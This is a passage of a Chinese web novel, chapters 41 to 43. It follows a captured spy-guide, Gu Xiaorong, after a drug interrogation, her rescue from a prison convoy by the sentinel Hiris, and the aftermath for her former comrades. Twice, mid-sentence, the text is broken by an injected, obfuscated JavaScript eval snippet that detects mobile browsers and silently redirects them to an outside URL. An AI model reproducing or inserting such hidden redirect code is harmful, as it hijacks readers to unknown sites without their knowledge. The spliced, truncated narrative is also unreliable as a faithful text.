手术室外负责抢救的医生走了出来,被眼前一众军官团团围住,医生看上去已经有些疲惫,他耐心地跟他们解释现在的状况。受软化剂持续注射的影响,顾小绒的免疫力与身体机能几乎已降到最低,再加上她还在生理期,两重原因的叠加使得大量出血难以止住,他们已经输送了几千毫升的血,但向导的凝血功能已近乎丧失。 “说重点。”最终仍就是少将发话。 “我的意思是……”医生艰难地吞咽了一下:“如果出血还是止不住……受审者有可能死亡。” 突如其来的沉默弥漫在医院的走廊,窗外已不知何时一片黑暗,天穹就像破了一般往下倾倒着雪,冷冽的风暴几乎是凶猛地撞击着玻璃与建筑体,可是弥漫在现场所有人之间的只有死寂。 暗淡的光线下,少将深黑的眼冰冷如刀:“她不能死。”他只说出这短短四个字,医生几乎不敢直视他的眼睛,脸上浮现出为难与惧意。 “叫你们院长过来一下。”最终稍微年长一些的卢卡斯上校发了话,军区医院的院长年轻时候有外科圣手之称,即使现在也是整个医院的主心骨,无论如何,至少可以缓解一下此刻紧张的情况。 “好……好的。”医生寻到了一丝生机,赶紧转身退回了手术室,紧接着一位护士被派遣了出去。 负责主审的宋明远上校脸色铁青,他已严格按照审讯规则行事,第二针也不过是生理盐水,他本人也享有法律赋予的豁免权,受审者自杀这样的事不会追究他的责任。只是看了看某位军部实际掌权者的脸色,宋明远已经开始担心自己日后是否升迁无望。 顾小绒确实不能死,可以很明显地看出她仍旧隐瞒着一部分的关键信息,如果她死了,好不容易追踪到的线索就又断了。 楚飞的半个上身几乎都泡在顾小绒的血里,到现在已经干涸凝结,韩奕的身上也沾了不少,浓郁的血腥味萦绕不散。 这一阵突如其来的意外使得情况变得十分复杂,即使已经确认了顾小绒的间谍身份,公会也不能太长时间扣留,在最长15天的羁押之后军事法庭就会介入,这时就将转送去往临时监狱,直到罪证确凿、宣判正式入狱。而以顾小绒现在的情况,就算救回来了,一时半会儿也不能再进行注射,他们还没有将信息完全审出来,就要将她转交给法庭了。 “今天就到此为止吧,先回去休息。”少将终于转过了身来,对着宋明远和卢卡斯说:“之后的流程也由你们负责继续跟进。”“是,长官。”两位上校领命,眼见韩奕情绪平静,没有半点要问罪的样子,宋明远惴惴的眼神可算放松了一些。“曼琳,之后的押送就由你负责。”少将继续吩咐道。 这是完全不打算考虑人没了的情况吗……曼琳只敢在心里想想,不敢露出来一点,她赶紧答应着。 “你们也回去吧。”少将说着,靠在一旁的墙壁阖上了眼,外人走后,他终于流露出了一丝疲惫。 这熟悉的一幕让曼琳觉得时光倒转,仿佛这只是某次常规的抵抗训练,向导受了伤、他们过来帮忙,一切都还像从前一样。这不是韩奕第一次在手术室外等顾小绒,此时此刻,他的神情与站姿都同从前一样。 直到此时,曼琳才感觉到一股熟悉的气息重新回到了韩奕的身上,每次顾小绒受伤的时候,老师的周身都会散发出一股难以控制的焦躁与排斥,有时候甚至近乎于攻击。他不想让任何人靠近过来,从前是这样,现在也是。 她感觉到诺兰在悄悄扯她的衣服,朝她露出一个几近恳求的眼神,她意识到自己是时候离开了。一旁的楚飞和周烨也同她交换了目光,四人同时走下楼去。 41. 第四十一章 “少校,少校!”隔得老远曼琳就听见有人喊她,正是在阿维隆协助抓捕顾小绒的那位年轻哨兵,自从那一次任务之后他就一直跟着曼琳做事。很显然他和其余随行人员一直在楼下等着,曼琳对他们摆了摆手,让他们先回去。 她又看见了另一边等候少将的随行人员,此时已是深夜,莉莎听到了下楼的动静,也从车里走了出来,隔着遥远空旷的距离,他们互相望着对方。 因为寒冷,莉莎的周身都裹在厚实的披风里,她看上去神情忧虑,面容憔悴。曼琳与她对视了一眼,想了想还是让少将的人也先回去,只留了一辆车在这里。既然少校下了命令,大家终于结束了苦差事,车辆也都各自启动离开。 “那……我们怎么回去?”终于离开了几近窒息的氛围,诺兰整个人都松弛了一些,他看着远去的车队问道。 “我想走一会儿。”曼琳的声音有些沙哑,察觉到自家哨兵情绪不对,诺兰走上前来拉住了她的手,他的神情同曼琳一样沉重。 “我开了车来,送你们回去吧。”周烨终于说话了,这几乎是一整天里他说的第一句话,曼琳感觉到眼前这向导终于恢复了一些人气,不再像个雕塑一般冰冰冷冷了。 “我身上沾了血,别弄脏了你的车。”楚飞低着头闷声说到,其实他也想自己走一走。即使是十多公里,对于哨兵来说也就是日常跑步的距离。 这次换做周烨沉默了,许久之后他才又冷冷地重复道:“上车。” 最终,四人坐进了周烨的车里,还好他的车是极为宽敞的越野,他与楚飞的两双长腿放进去一点也不觉得挤。曼琳和诺兰坐到了后座,淡淡的血腥味与周烨的红酒味交融在一起,但是谁也没有发话催促,周烨也没有点火,大家就这样默契地坐着,彼此无话。 许久之后,曼琳才忽然问楚飞:“老师要我负责押送顾小绒,你到时候能过来帮忙吗?”楚飞显然对师姐的提议有些惊讶,押送犯人而已,需要S级哨兵去吗?他们谁也没有意识到,每个人都在各自忽略、或者回避顾小绒有可能会死的情况,毕竟韩奕说不准她死,想来也死不成。 自从少将分化成黑暗哨兵之后,他就在大家的心里镀上了一层神性,仿佛只要他一开口,即使是死神也要让步。 “恐怕不行。”回答的是周烨,大家都抬起头来注视着他。昏黄的车灯下,周烨的下颌瘦削而分明,他的眸子平静地注视着前方:“我要配合调查组接受审查,会走一段时间的流程。” 反应最大的是楚飞,身为少校他竟然一点不知道这事,正要发作,就被周烨淡淡一句话堵住:“常规调查而已,配合完成就行。”他一个眼神就将情绪濒临爆发的哨兵按了回去。曼琳和诺兰互相看了对方一眼,没有再说话,周烨是沈骁一手带出来的,平日里与顾小绒的交流也很密切,调查组这时候盯上他也是情理之中的事。 楚飞的火没有发出来,只剩下了颓丧,许久之后他才又问道:“你觉得押送会出什么问题吗?师姐。” 曼琳望着车窗外,一脸愁容:“不知道,也许只是第六感。”现在林轩被免职、沈骁被控制,少将一个命令下来,偌大的公会就要她一个人扛起来。曼琳还在艰难地适应这个过快的流程,基本在所有紧要的事上,她还是会和楚飞商量着做决定。 “那就把言韶和华峥拨过来吧。”曼琳只能把目光放到唯一剩下的S级哨兵身上:“还有正羽和程浩……总之要最可靠、最信得过的人。” “行。”楚飞答应道,他的神色仍旧有些担忧地望着周烨,如果间谍真的和顾小绒、沈骁有关,那么一整个向导体系说不定都会遭到肃清,他们的眼前是一场几乎可以预见的狂风暴雨。 “楚飞。”曼琳突如其来地开口:“今天在审讯的时候,你是不是有什么话想问顾小绒?” “……”小伙子沉默了半晌,才吐出一丝沉重的叹息:“师姐,如果顾小绒真的是间谍,她为什么要替老师挡子弹?” “这不难理解。”曼琳的声音清冷到仿佛结冰:“老师活着,她才能通过他获取核心信息。” “这样吗?”墨黑的碎发遮住了楚飞的眼睛,他的声音愈加低沉:“可她要是自己死了,任务还完得成吗?” 寂静的停车场内,能听见遥远地表的大雪绵延。 “我也不知道……”绿眸微微一晃,曼琳咬住了微颤的下颌,她的目光移向了窗外:“也许她确实要执行她的任务……但她也确实不想让老师死。” 接下来的几天时间里,因为调查组和情报局频繁的行动,公会的整个气氛都有些紧张和压抑。 曼琳点了言韶华峥、正羽程浩到办公室开会,仔细商讨押送顾小绒的细节,加上她和诺兰一共是三队哨兵与向导。大家都和那晚的楚飞差不多一样惊讶,通常来说,哨兵和向导做为特殊作战力量,几乎只会派遣到战场上执行危险程度较高的工作,押送犯人这样的差事都是交由普通士兵去做的,更何况曼琳甚至还叫来了一位S级,这样的配置几乎已经和很多A级以上的任务持平了。 但曼琳现在好歹也是正经八百的哨兵总负责人,大家的神情虽然迷惑,但也还是得听命行事,曼琳也只能拿“这个间谍至关重要”之类的理由来解释。 顾小绒果真没有死,在那天晚上的后半夜她的血最终止住,也许老师如今的显赫与威势真的能让死神都屈服,曼琳想着。 第一次被钦点去押送犯人的程浩,从头到尾没有控制住怀疑的眼神,不过后面他和正羽还经历了一次更让他们自我怀疑的任务,这个任务是韩奕亲自下的。 自从林轩这倒霉蛋下台之后,中央公会又重新回到了少将的掌控中。此时的海陆空三军、中央公会、情报局与调查组,都已尽数归于少将麾下。至于莱安上将,几乎已变成了一件束之高阁的华丽贵族摆件,空有其位。 “什么?你说……”诺兰意识到自己的声量太高了,即使是身在绝对静音的住所,他仍旧立即收小了音量。 程浩圆圆的眼睛认真地望着他,随后郑重地点了点头。如果诺兰没有听错的话,前几天他和正羽被少将直接下达的任务,竟然是去烈士陵园挖出那位名叫“艾丽西娅”的向导的坟。 “难道说,少将还是怀疑那个死去的向导?”诺兰开始疾速头脑风暴。 “艾丽西娅那时的遗体收回、还有下葬都是沈骁做的。”程浩抱起手臂:“现在沈骁也出了事,少将应该是起了疑心。” “他怀疑什么?难道艾丽西娅是假死,她不会就是蝴蝶吧?”诺兰面色一变,连带着曼琳和正羽这两个旁听的哨兵脸色也变了。这半年的时间里他们虽然没有在任务中遇到蝴蝶向导,但对方为数不多的几次出现,就已经给他们造成了巨大的伤亡。 平心而论,林轩的下台有一点冤枉,也许他的能力确实比不上韩奕,但是一上任就遇到蝴蝶也是倒了血霉。实话说,即使是韩奕现在重新拿回了公会的控制权,接下来怎么对付蝴蝶也是一件很难的事。 更何况现在,顾小绒被发现是间谍、沈骁嫌疑巨大、周烨也因为与他们过从甚密而在接受调查组的审查,中央公会的原向导总负责人、最强攻击型向导与最强治疗型向导同时折戟,毫不夸张的说,此时北方公会的向导脊梁都被砸碎了,此后的任务一旦再遇到蝴蝶向导,他们几乎没有人可以再与之抗衡。 也许少将也考虑到了这一点,目前除了顾小绒之外,对沈骁甚至没有用刑,只是暂且扣下,而周烨也只要配合完常规调查就行。 “所以……你们把坟挖开后呢?”曼琳洗了个苹果,随手拎了把椅子过来坐下。 “没有你想的那么有戏剧性。”程浩笑了笑:“遗体还是在的,虽然已经只剩下骸骨,从外观上看和艾丽西娅生前差不多。”“哦?”曼琳敏锐地捕捉到了对方明显斟酌过的言辞,挑了挑眉。“我们提取了DNA交给了研究所。”正羽继续说道,很显然这才是此次任务的核心。 “然后呢?”曼琳继续追问。“这我们就不知道了。”程浩摊了摊手:“你也知道现在那位的风格,不该问的事最好别问。”“也是。”曼琳叹了口气,连吃苹果的动作都慢了:“以后都得谨言慎行一些才行。” “话说曼琳,你有没有听到什么消息?”程浩神秘兮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055880|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兮地问:“现在这个情况,总还是需要来个向导负责人吧。” “这我怎么能知道。”曼琳哭笑不得:“我也就是个办事的,这事就算真的要开始弄也是老师和莱安的事吧。” 莱安看上去不像是甘愿充当摆件的样子,一想到那两位冤家又要对起来,她几乎感到了一种黑色幽默。 “无所谓了,希望这一次不要再是莱安的七大姑八大姨就行。”程浩撇撇嘴,抄起一个苹果啃了下去。 这场雪暴绵延了七天,直到押送顾小绒的这一天才开始放晴。曼琳早上五点就起床开始准备,并非刻意为之,她实在是睡不着。顾小绒虽然被抢救了过来,已经脱离了生命危险,但身体仍旧很虚弱,需要躺在病床上进行运输。 至于那天之后韩奕在医院守了多久,她不知道,也不敢问。 苍蓝的天际刚刚泛起一丝鱼肚白,曼琳就已荷枪实弹地整理好装备,在军区医院的门口检查车队了。她远远就看到一个魁梧如山的身影朝着这边缓缓走来,再定了定视线,才看到旁边另一个明显小了一大圈、瘦削高挑的身影。 言韶和华峥来的比预定的时间还要早,曼琳朝他俩挥挥手打了个招呼。看到S级哨兵过来,她的心才稍微安定了一点。 10分钟后,程浩和正羽也来了。人员到齐,他们上上下下地检查车队、车辆状况与人员配置,此次押送甚至还有一架直升机被调来随行。曼琳将自己和言韶安排到与顾小绒同在的车上,程浩和正羽则在后面的车上掩护。 在场的人对顾小绒的那场审讯了解得不多,直到看见她在昏迷中带着氧气面罩、被一众医务人员推上了车,大家的脸色都变得有些难看。按照规定,需要有一位医生和一位护士随行,不大的车辆还要带上四位近身护卫的哨兵向导,显得有些拥挤。 看到顾小绒这副模样,程浩的脸明显地沉了下来,他很快将眼神瞥向了别处。 大家在沉重的氛围里各就各位,到了早上八点,车队开始行进。目的地是数百公里之外的德蒙特监狱,如果一切顺利,需要行进的时间是4小时。德蒙特是一个极其严寒的地方,传闻每年都会有很多犯人在那里冻死,曼琳摇晃了一下头,决定收回思绪。 离开公会之后,路途逐渐偏远,他们将经过一片巨大的原始森林,封冻在厚重白雪之下的树木高大茂密、遮天蔽日。这里人迹罕至,视觉也很容易被遮蔽,曼琳的眼牢牢地盯着车窗外,片刻没有松懈。尽管在漫长的路途中,她能听到的也只有轮胎碾压过积雪与枯叶的声音,偶尔还有一两声飞鸟的啼鸣。 冬天持续了这样久,也不知道这些小动物是怎样活下来的,曼琳的眼神不由随着鸟鸣望向窗外,它们离她太远,她只捕捉到一点白色的印迹,它们就轻灵地离开了她的视线,朝着更高的天穹飞去了。 飞去也好,自由自在,曼琳看着天空这样想到。 言韶的大手突然地按到了她的肩上,哨兵站起身来,尽管在狭小的车内他高大的身躯几乎直不起来:“停车。”不好的预感闪电般窜过脑海,曼琳几乎是立即拿起了对讲机大声喊道:“停车!!” “砰!”的一声巨响,爆炸的气浪朝着他们猛地掀来,车身被猛烈撞击,一个急转便要侧翻过去。华峥一把抓住了床,一把抓住了身旁快要飞出去的医生,言韶飞身而上、将他的向导护在怀里。曼琳和诺兰也几乎是同时朝着病床扑过去,好一阵天翻地覆之后,车身才停了下来。 还好刚刚曼琳叫得及时,车辆已经提前做了减速,只是经受了猛烈碰撞,在一阵颠簸后竟然没有翻过去。一旁的医生和护士已经陷入了昏厥,哨兵和向导们则立即起身戒备,四把枪口同时抬起、对准了紧闭的车门。 心脏在寂静中猛烈地狂跳,曼琳感觉到一股滚烫的血从额角流了下来,车门外一片寂静,随后“砰!”的一声巨响从车外传来,接着第二声、第三声过后,已经完全变形的铁门被一股巨大的力量掀开。 荷枪实弹的雇佣兵黑压压地出现在他们面前,为首的那位缓缓摘下头盔与护目镜,露出了一头银白的短发,与一双华美昳丽的、冰绿色眼睛。 42. 第四十二章 “希里斯!”那一瞬间,曼琳的心脏仿佛冻结,子弹几乎是没有任何犹豫的,朝着眼前的银发哨兵射过去。子弹的轨迹在她的眼眸中逐渐定格,缓慢滑行出带有波纹的尾羽,他们四人的四个枪口同时朝着希里斯开枪。 白狼从容地伸手,将后背的利刃缓缓拔出,雪亮的银刀出鞘,而后几道快到无法捕捉的光影从曼琳眼前闪过,围攻而去的子弹霎时调转了方向、朝着四周碎裂迸射。白狼游刃有余地挽了个剑花,就在刚才的近乎0.01秒,他就把所有的子弹砍飞了出去。 “韩奕没有教过你们,与S级哨兵近身作战时不宜使用枪械吗?”希里斯伸手点了点四周,他甚至还计算好了被劈开的子弹弧度,它们几乎都擦过了在场众人的身体、从他们的间隙里射穿到车体中,曼琳瞥了一眼擦着她的腰侧射过的子弹碎屑,背后已生出了一身冷汗。 希里斯没有再搭理他们,转而将目光挪到了那张几乎快坍塌的病床上:“能起来吗?” 曼琳感到后背一阵发凉,她回过头去,只见顾小绒已从病床上坐了起来,除了面容稍显苍白之外,她看上去已完全无恙。顾小绒轻轻晃了下被拷住的右手,镣铐发出清脆的声响,白狼轻轻挑了下刀尖,一股看不见的疾风便朝着那里劈砍而去,镣铐瞬时碎裂。 顾小绒从容地摘下了氧气面罩,从床上起身,在昔日伙伴们的注视下朝着希里斯走去。 “小绒!”曼琳下意识想去拉她,却被言韶一把拽向了身后,身量高大的哨兵抽出了身后的巨剑,众人只感到一阵疾风从头顶掠过,整个车顶几乎都被刚才的那一下给削飞了出去。明亮的天光照射而下,言韶的重剑随后调转了方向,由横劈改为竖砍,朝着希里斯的方向疾速而去。 车体在他们二人的碰撞下近乎碎裂,曼琳一手一个将华峥和诺兰两个向导护在身下,言韶的武器虽重,但他的招式却不见一丝迟缓,几乎是招招险要、力大势沉。白狼只是略一偏头,单手挡住了重剑的袭击,他的嘴角缓缓浮现起一丝笑意,似是来了兴致。 曼琳匍匐在地,只能感觉到车体的残躯在他们的剑锋碰撞下不断震颤。 诺兰和华峥几乎是同时用精神力朝着希里斯攻去,随后他们遭遇了一股强大的精神力回击,这绝不是之前所见的机械精神防御系统,而是来自于……向导。 华峥抬起头,对上的是顾小绒冷冽的眼,熟悉的荔枝味从她的身上渗出,是从未有过的锋利与陌生。 顾小绒没有看他,她的攻击还在加码,华峥猝不及防,险些将牙咬碎。之前日常训练的时候,他从来没有被顾小绒主动攻击过,记忆里她总是防守,对外也一直声称自己不擅长攻击…… “唔……”诺兰也要承受不住了,他只觉青筋迸裂、太阳穴钻心地痛,对方几乎要将他的脑子捅个对穿。而曼琳则从一旁的视野中,看到后车已经昏迷在地的正羽和程浩,不知两人是死是活…… 在华峥和诺兰即将崩溃的时候,顾小绒停止了她的攻击,不过她仍旧压制着他们的行动。另一边,希里斯和言韶的对决也到了尾声。白狼的剑已捅穿了棕熊的腹部,白刃沾染了淋漓的鲜血,从他的后背贯穿。 “言韶!”华峥挣脱曼琳的手,不顾一切地扑上去抱住了自己的哨兵。 希里斯缓缓抽出刀,言韶巨大的身躯顿了顿,随即半跪在了地上,滚烫的鲜血从他的伤口处汹涌泼出。 “够了,希里斯。”一旁的顾小绒发话道。 白狼垂下眼,冷绿的眸子一收,四下仿佛一下从极寒里重新恢复了生的温度。他仔细地擦干净刀身上的血,对着顾小绒说:“差不多了,走吧。” 曼琳感觉到那股压着她的精神力松了一些,她几近麻木的手指恢复了一些知觉,正竭尽全力地想要挣脱开来。顾小绒顿了顿,似乎想要回头,曼琳的心忽然一空,几乎在那一瞬间忘记了挣扎。 可她终究是没有。 白皑的大雪落满了支离破碎的车体残骸,直升机坠落到了更远的地方,正冒着滚滚黑烟。曼琳无能为力地跪伏在地,眼睁睁看着顾小绒同希里斯一道,消失在她的视野里。 顾小绒坐回了机甲冰冷的座椅,上一次在泽卡他们就是用这样的小型音速机甲撤离的,这一次希里斯袭击押送队伍之后,也是用差不多代际的机型撤离,算得上以牙还牙。 音速飞行加速的过程让顾小绒有些想吐,她不由闭上了眼睛,这一次重伤未愈,又失了太多的血,等好不容易挨过了头晕与恶心,才感觉到身上已冷汗淋漓。唇齿不自觉地打着颤,她的目光落到机甲后堆放的货物上,那里乱糟糟的,堆满灰尘的物品上盖着破旧的布,她伸过手去将上面的一片布扯过来,覆盖到自己的脸与身上。 视线陷入了一片黑暗,她感到自己的精神力如同枯竭,向导素仿佛暂时性的丧失,连精神图景都进不去。自从与韩奕的精神连接断裂后,她终于亲身体会了一次比死更甚的痛苦。之前与哨兵牢牢连接、如同参天大树的精神力,此时已被撕裂出了一个巨大的豁口,不是像刀刃切割的光滑断面,是被活生生撕裂开来的血肉。她只感到那里在无穷无尽地渗着血,好像要将她整个人的身体与灵魂都流逝干净。 与之相比,用作刑讯的软化剂是那样微不足道。那天受审的时候,她知道韩奕在场,可是她看不见他,也感知不到他。她也不知道那双冷黑的眼是用怎样的神情看着自己,是冷漠、愤怒还是嫌恶,亦或是根本不屑一顾,无论是哪种,都足以将她摧毁。她可以最终扛住软化剂的折磨,没有吐露最终的真实信息,某种程度上也是因为没有看见他。这于她而言,何尝不是一种慈悲。 顾小绒笑了笑,眼泪混合着血肆意流淌下来,她现在如何配得上慈悲二字。死亡从来没有像今日一般,变得这样迫切而诱人,好像只有立即死去,才能从这种痛苦中解脱出来,可即使是这样,她也仍旧要活着。 她还有必须完成的事。 北方中央公会,连绵的暴雪难得的停止,却只短短维持了一个上午,就又开始下起雨来。 三队哨兵与向导被送回公会抢救,同行的医生颅脑损伤、护士脑震荡加肋骨骨折,哨兵里伤得最重的是言韶,他的腹部被一整个贯穿,好在刀刃没有伤及内脏,虽然只是擦过了几毫米,也足够他活下来。剩余的几位伤得也不重,只有正羽的腿骨骨折。 曼琳轻微脑震荡,连手术室都没有进,只是看着眼前神色低沉的少将,她的脸色不由的有些发青。 韩奕和楚飞正坐在她的病床前,刚刚看完了在场众人的记录仪。曼琳虽然预感到这次的押送可能会有风险,但她也实在没有想到,希里斯这样的人物竟然会亲自过来营救顾小绒。如果说之前,她的潜意识里还在抗拒承认顾小绒是间谍的事实,那么现在,现实就已经把她压在了地上狠狠摩擦。 顾小绒从来没有显示出如此强大的实力,之前的每一次训练、甚至是实战任务,她都以防守为主。曼琳的脑海中出现了女孩缄默沉静的模样,那张原本熟悉而温柔的面容,竟在此刻变得有些模糊。也许因为她这样温存的面具,曼琳也差点忘记了,她是第一次实战训练时就一人单扛三位A级向导进攻的人,那时所有人的注意力都在S级哨兵身上,完全忽略了她如此可怕的精神力。 他们输得狼狈,在场所有哨兵只有唯一的S级言韶有能力与希里斯一战,还以重伤告终。顾小绒最后的那句:“够了。”和希里斯的收刀,看上去更像是一种居高临下的蔑视与怜悯。 可她已经尽力了,整个帝国上下只有一个哨兵能与希里斯战成平手,那人现在就在她的床前,沉黑的双眸静静地注视着她。 “老师,对不起。”曼琳叹了一口气,闭上了眼睛:“我没有办好事,让您失望了。”连押送个人都做不好,也许自己还没有办法担当起哨兵总负责人这一职务,她想着。 “别想太多。”韩奕神色平静地收了投屏,蓝光从空中消失,可是他这样的平静让曼琳的心里更加难受,她宁愿老师此刻是愤怒的。 “好歹我们现在知道了,希里斯和顾小绒,还有那个‘尾鸦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少将的耐心终于告罄,他扔下一句:“走了。”随后果断起身,拉开了病房的门。 在曼琳的全力暗示下,楚飞追着出了门,悄悄跟在韩奕身后。 自从间谍事发之后,老师表现得实在是过于平静。 窗外的苍穹已完全被黑云覆盖,流瀑倾泻、暴雨如注,雷电的轰鸣与闪电的明灭占满了视线。少将走得很快,转眼身影便朝着楼梯下去。楚飞本想远远跟着,但衡量了一下对方的速度又害怕跟丢,在少将又消失在一个转角后,他不得不抓着手里的伞提升了速度。 医院背后有一个广阔的花园,据说在夏季的时候种满了花木,是一直以来都是伤员和病员休养、散步的地方。只是在十年的冬季之后,曾经郁郁葱葱的花叶已不见了踪迹,只留下冷硬的山石和雕塑,还静卧在冻土与积雪里。再也没有人来这里散步,花园也就逐渐荒芜。 楚飞追上来时,韩奕正伫立在凋敝空寂的花园中央,暴雨如同刀子一般插在他的身上,那身华美笔挺的军服被淹没在瓢泼的雨幕中,黯然失色。他们的身前伫立着一尊白色的雕塑,塑像面容柔美、眉眼低垂,沉静地望着世间的一切苦痛与欢欣。 少将的手放在一旁陈旧的石栏上,紧紧地扣进去,哨兵巨大的力量使得栏杆碎裂、飞石四溅。破损的石棱尖锐地扎进他的掌心,曾经被向导无比珍视的指尖,毫不留情地插进了石体深处,那只手青筋暴起、血流如注,即使在暴雨的冲刷下,鲜红的血迹仍旧浸透了整个石栏。 楚飞拿着伞快步跑了上来,这把可怜的伞在狂风暴雨下没有任何实际的作用,他也被淋了个浑身湿透。可真的临到了跟前,他却又不敢再靠近。 “老师……”年轻哨兵停在了五米之外的地方,进也不是,退也不是。 韩奕没有回头,只咬着牙、冷冷说出一个字:“滚。” “是!”楚飞毫不怀疑,即使现在他已经身为少校,老师仍旧可以一脚给他踹过来。他上前将手中的伞放在了一旁的石栏上,随后立即转身离开。 43. 第四十三章 一股冰冷的金属气息渗透进皮肤,鼻翼传来淡淡的消毒水味,顾小绒动了动,白光刺破眼帘,她睁开了眼睛。 脖颈好像被什么东西扣住,熟悉的窒息感传了过来,低头一看,黑色的禁制环果然回到了熟悉的位置。不过在南方,向导确实都需要佩戴禁制环,并交由他们的哨兵管控。顾小绒重新合上了眼,她仍旧觉得疲累。 这里是一个宽敞的房间,白色的床单与素色的天花板静静呈现在她眼前,听到她醒来后,旁边传来一个女生急匆匆的步伐:“她醒了……快去报告老大。” 顾小绒没有打算理会,她挣了挣手,发现没有被绑缚,于是侧过了身子抱住枕头继续睡。这会儿她才发现自己的右手背上打着留置针,应该是才输完了液。可惜这场浅眠没有持续太久,熟悉的鸦片味便萦绕而来,那是希里斯的信息素,顾小绒只得撑起身子。 希里斯已经脱下了作战服,他穿着一件日常的白衣,右耳带着一支华美的绿色耳钉,与他的眼睛同色。 “醒了?”乏味的开场白。 “嗯。”顾小绒应道,偏头望向窗外炽烈的阳光:“几点了?” “早上10点,你从昨晚9点到了后一直在睡。”希里斯坐在了她对面:“如果再算上战机上的时间,大概接近20个小时了。”顾小绒的目光从他的身上移到旁边,那里站着一位身材高挑的女哨兵,女孩棕发雪肤、一双明眸正小心翼翼地收着视线,看起来在她昏迷的时候,一直都是她守在她的身边。 “韩奕分化的事你知道吗?”希里斯居高临下地问道,没有给顾小绒一点喘息的时间,他的手摩挲着腕间的启动器,目光冰冷。 “分……什么?”顾小绒仿佛被兜头浇下一捧冰水,几乎是一个哆嗦猝然惊醒。 希里斯微微眯起眼,他观察着她的反应,随后露出了一个玩味的笑容:“你不知道?” “你说什么?”顾小绒的语气有些抑制不住的急切:“韩奕已经是S级哨兵了,怎么会分化?” 白狼笑意更甚,他没有直接回答她的问题,语气略带嘲讽:“让你去勾引他、让他对你动情,果然还是失败了。” “……”心脏如同被万箭贯穿,顾小绒咬着牙,倔强地盯着他:“回答我,希里斯。”见眼前的向导竟然敢直呼自己老大的名讳,一旁的女哨兵半是惊愕半是惶恐。 希里斯却不以为意,似乎很享受对方此刻的煎熬和焦灼:“前几天的大新闻,北方的那位少将分化成了黑暗哨兵,这可是本纪元的第一位黑暗哨兵,全帝国上下都知道了。” “……”顾小绒没有答话,她的心脏仿佛沉进冰海。很显然,韩奕不可能这几天突如其来的分化,很可能是在之前和她一起的时候就……可是,什么时候呢?她竟然无所察觉。 仿佛欣赏够了她的神情,白狼站起身来在房间内踱步,皮靴轻而缓慢地踩过浅灰的毛绒地毯,银色的披肩从他的肩头垂落:“他之前有没有一段时间五感极度波动、在失控的边缘?” 顾小绒感到自己的身躯被冻结住了,希里斯继续说:“无论你怎样做,用任何精神力、精神屏障都无法消除他的症状。”那一晚破碎的玻璃与血汹涌着充斥在脑海里,顾小绒只觉头痛欲裂:“不……不是的……”难道不是因为陆军基地的建筑设施没有做到严格消音,才导致的五感波动吗? “那就是了。”希里斯从她的眼睛里得到了自己想要的答案:“在那时候,他已经分化了。” 他的语调毫不留情:“他分化了,但向你隐瞒了这件事,他一直都没有相信过你。所以最后在阿维隆的时候,他可以撇下你独自行动,从今往后他也不再需要向导了。” 顾小绒缓缓闭上眼,聆听完了对她的审判。 “不过这事也不能完全怪你。”希里斯抱起手臂:“整个帝国也没有人有这样的经验,S级哨兵再分化的概率实在是太小。” 湛蓝的眼重新睁开,如同干涸的湖泊失去了光芒,变得苍白无神。顾小绒定了定神,恢复了思绪:“我告诉过你,这一次的信息风险度很高。”回应给她的,是白狼了然的浅笑:“我知道啊,这不是来接你了吗。” “……” “别把账算我头上。”希里斯的笑容了无痕迹地冷了下去,他的目光看向窗外:“这是南方军的命令,我也只是听命行事。”阳光勾勒出白狼的身形,他的面容与脖颈被照得清透明亮,顾小绒忽然感知到,眼前这把不可一世的、锋利的刀刃,似乎也被无形的枷锁拴着,同她一样。 不过那样的感觉只短短一瞬便消失了,希里斯偏过头来,周身重新被一股冷厉的压迫感环绕:“你同我去一个地方,替我办件事。” “什么事?”顾小绒问。 “你以为韩奕在北方忙,我在南方就闲着?”希里斯冷冷笑道:“泽卡那一次你们实在是暴露得太明显了,我已经清扫了一波间谍出来。”他继续缓慢地踱着步子,白色的皮革手套缓缓划过床位冰冷的护栏:“有一个哨兵嘴很硬,受尽刑罚也不肯开口。” 冰冷的绿眸忽然抬起来,寒光乍现:“你替我撬开他的嘴。” 楚飞站在公会大楼的厅堂里,调查组与情报局的工作已经快到了尾声,公会已重新恢复了往日的工作节奏,大厅内人来人往、熙熙攘攘。曼琳因为头部的撞击还有晕眩感,只能卧床休息,这段时间公会的事务都交给了楚飞。 第一次身处这个位置的临时哨兵总负责人神情有些不自然,再加上他的向导周烨仍在配合调查,他不得不临时带上了禁制环,而启动器也暂时交由了穆承安负责。直到周烨被放回来之前,他和穆承安都得被地拴在一起。两位少校彼此拉出一个微妙的距离,很显然双方都对这份差事感到十分恼火。 还好他们没有在这为难的氛围里煎熬太久,新上任的向导总负责人就已如约而至。 布雷塔妮少校是一位高挑的长发美人,浅蓝色的头发被高高竖起,波浪大卷垂落在身后,她的眼眸是浅淡的冰蓝色,如果说顾小绒的眼睛像一池深蓝的湖水,那么布雷塔妮的眼睛则是一望无际的冰川。楚飞的目光扫过那一双看似相似、又截然不同的眼,调整了一下面目表情。 “布雷塔妮少校,您好。”他硬着头皮自我介绍:“我叫楚飞,目前暂时负责中央公会哨兵部分的管辖,这位是禁制塔的负责人穆承安少校。因为一些情况我的向导暂时不能过来,需要麻烦穆少校随身监测,请您理解。” “嗯。”眼前的冷美人神色倨傲地扬了扬下颌,她直接省略了自我介绍,伸手一指自己身后的哨兵:“我的哨兵,艾瑞克.西里埃克斯上尉。”后者随即向两位长官行了军礼,他的一头金发与紫眸让楚飞看着就头疼,他艰难维持着面部表情。 “这是您的丈夫?”穆承安问道。 